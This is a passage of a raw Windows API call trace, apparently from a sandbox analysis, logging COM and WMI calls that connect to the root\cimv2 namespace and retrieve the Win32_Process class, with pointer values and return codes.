This=0x1bfbccc0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0078.954] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbccc0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0078.955] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1c001120) returned 0x0 [0078.955] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c001120, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1c008d10) returned 0x0 [0079.032] WbemLocator:IUnknown:QueryInterface (in: This=0x1c008d10, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bf96ea0) returned 0x0 [0079.032] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf96ea0, pProxy=0x1c008d10, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0079.032] WbemLocator:IUnknown:Release (This=0x1bf96ea0) returned 0x1 [0079.032] WbemLocator:IUnknown:QueryInterface (in: This=0x1c008d10, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bf96ee0) returned 0x0 [0079.032] WbemLocator:IUnknown:QueryInterface (in: This=0x1c008d10, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bf96ea0) returned 0x0 [0079.032] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf96ea0, pProxy=0x1c008d10, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0079.032] WbemLocator:IUnknown:Release (This=0x1bf96ea0) returned 0x2 [0079.032] WbemLocator:IUnknown:Release (This=0x1bf96ee0) returned 0x1 [0079.032] CoTaskMemFree (pv=0x1c009970) [0079.032] WbemLocator:IUnknown:AddRef (This=0x1c008d10) returned 0x2 [0079.032] WbemLocator:IUnknown:Release (This=0x1c001120) returned 0x0 [0079.033] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0079.033] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0079.033] WbemLocator:IUnknown:QueryInterface (in: This=0x1c008d10, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bf96eb0) returned 0x0 [0079.033] WbemLocator:IRpcOptions:Query (in: This=0x1bf96eb0, pPrx=0x1c001180, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0079.033] WbemLocator:IUnknown:Release (This=0x1bf96eb0) returned 0x2 [0079.033] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0079.033] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0079.033] WbemLocator:IUnknown:QueryInterface (in: This=0x1c008d10, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1c008d10) returned 0x0 [0079.033] WbemLocator:IUnknown:Release (This=0x1c008d10) returned 0x2 [0079.033] SysStringLen (param_1=0x0) returned 0x0 [0079.034] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbccc0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0079.034] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbccc0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0079.034] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbccc0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.034] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc9c0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0079.034] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc9c0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0079.034] IWbemServices:GetObject (in: This=0x1c008d10, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11711e0, ppCallResult=0x0) returned 0x0 [0079.050] IWbemClassObject:Get (in: This=0x11711e0, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0079.050] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0079.050] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0079.050] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0079.050] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0079.050] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0079.051] IUnknown:Release (This=0x111f638) returned 0x1 [0079.052] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1c001120) returned 0x0 [0079.052] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001120, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0079.052] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001120, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bfbcd80) returned 0x0 [0079.053] WbemDefPath:IUnknown:Release (This=0x1c001120) returned 0x0 [0079.053] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcd80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bfbcd80) returned 0x0 [0079.053] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcd80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0079.053] WbemDefPath:IUnknown:AddRef (This=0x1bfbcd80) returned 0x3 [0079.053] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcd80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0079.053] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcd80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0079.053] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcd80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1c001140) returned 0x0 [0079.053] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c001140, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.053] WbemDefPath:IUnknown:Release (This=0x1c001140) returned 0x3 [0079.053] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0079.053] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0079.053] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcd80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0079.053] WbemDefPath:IUnknown:Release (This=0x1bfbcd80) returned 0x2 [0079.053] WbemDefPath:IUnknown:Release (This=0x1bfbcd80) returned 0x1 [0079.053] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0079.054] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0079.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcd80, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bfbcd80) returned 0x0 [0079.054] WbemDefPath:IUnknown:AddRef (This=0x1bfbcd80) returned 0x3 [0079.054] WbemDefPath:IUnknown:Release (This=0x1bfbcd80) returned 0x2 [0079.054] WbemDefPath:IWbemPath:SetText (This=0x1bfbcd80, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0079.054] IWbemClassObject:Get (in: This=0x11711e0, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0079.054] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0079.054] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0079.054] IWbemClassObject:Get (in: This=0x11711e0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0079.054] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0079.054] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0079.054] IWbemClassObject:Get (in: This=0x11711e0, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0079.055] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0079.055] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0079.055] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0079.055] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0079.055] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0079.055] IUnknown:Release (This=0x111f638) returned 0x1 [0079.057] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c0012e0) returned 0x0 [0079.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0012e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0079.057] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0012e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bfbce40) returned 0x0 [0079.057] WbemDefPath:IUnknown:Release (This=0x1c0012e0) returned 0x0 [0079.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbce40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bfbce40) returned 0x0 [0079.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbce40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0079.057] WbemDefPath:IUnknown:AddRef (This=0x1bfbce40) returned 0x3 [0079.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbce40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0079.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbce40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0079.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbce40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c001320) returned 0x0 [0079.057] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c001320, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.057] WbemDefPath:IUnknown:Release (This=0x1c001320) returned 0x3 [0079.057] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0079.058] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0079.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbce40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0079.058] WbemDefPath:IUnknown:Release (This=0x1bfbce40) returned 0x2 [0079.058] WbemDefPath:IUnknown:Release (This=0x1bfbce40) returned 0x1 [0079.058] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0079.058] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0079.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbce40, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bfbce40) returned 0x0 [0079.058] WbemDefPath:IUnknown:AddRef (This=0x1bfbce40) returned 0x3 [0079.058] WbemDefPath:IUnknown:Release (This=0x1bfbce40) returned 0x2 [0079.058] WbemDefPath:IWbemPath:SetText (This=0x1bfbce40, uMode=0x4, pszPath="") returned 0x0 [0079.058] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0079.058] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0079.058] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0079.058] IUnknown:Release (This=0x111f638) returned 0x1 [0079.060] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c0012e0) returned 0x0 [0079.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0012e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0079.060] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0012e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bfbcf00) returned 0x0 [0079.060] WbemDefPath:IUnknown:Release (This=0x1c0012e0) returned 0x0 [0079.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcf00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bfbcf00) returned 0x0 [0079.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcf00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0079.060] WbemDefPath:IUnknown:AddRef (This=0x1bfbcf00) returned 0x3 [0079.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcf00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0079.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcf00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0079.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcf00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c001360) returned 0x0 [0079.061] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c001360, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.061] WbemDefPath:IUnknown:Release (This=0x1c001360) returned 0x3 [0079.061] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0079.061] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0079.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbcf00, 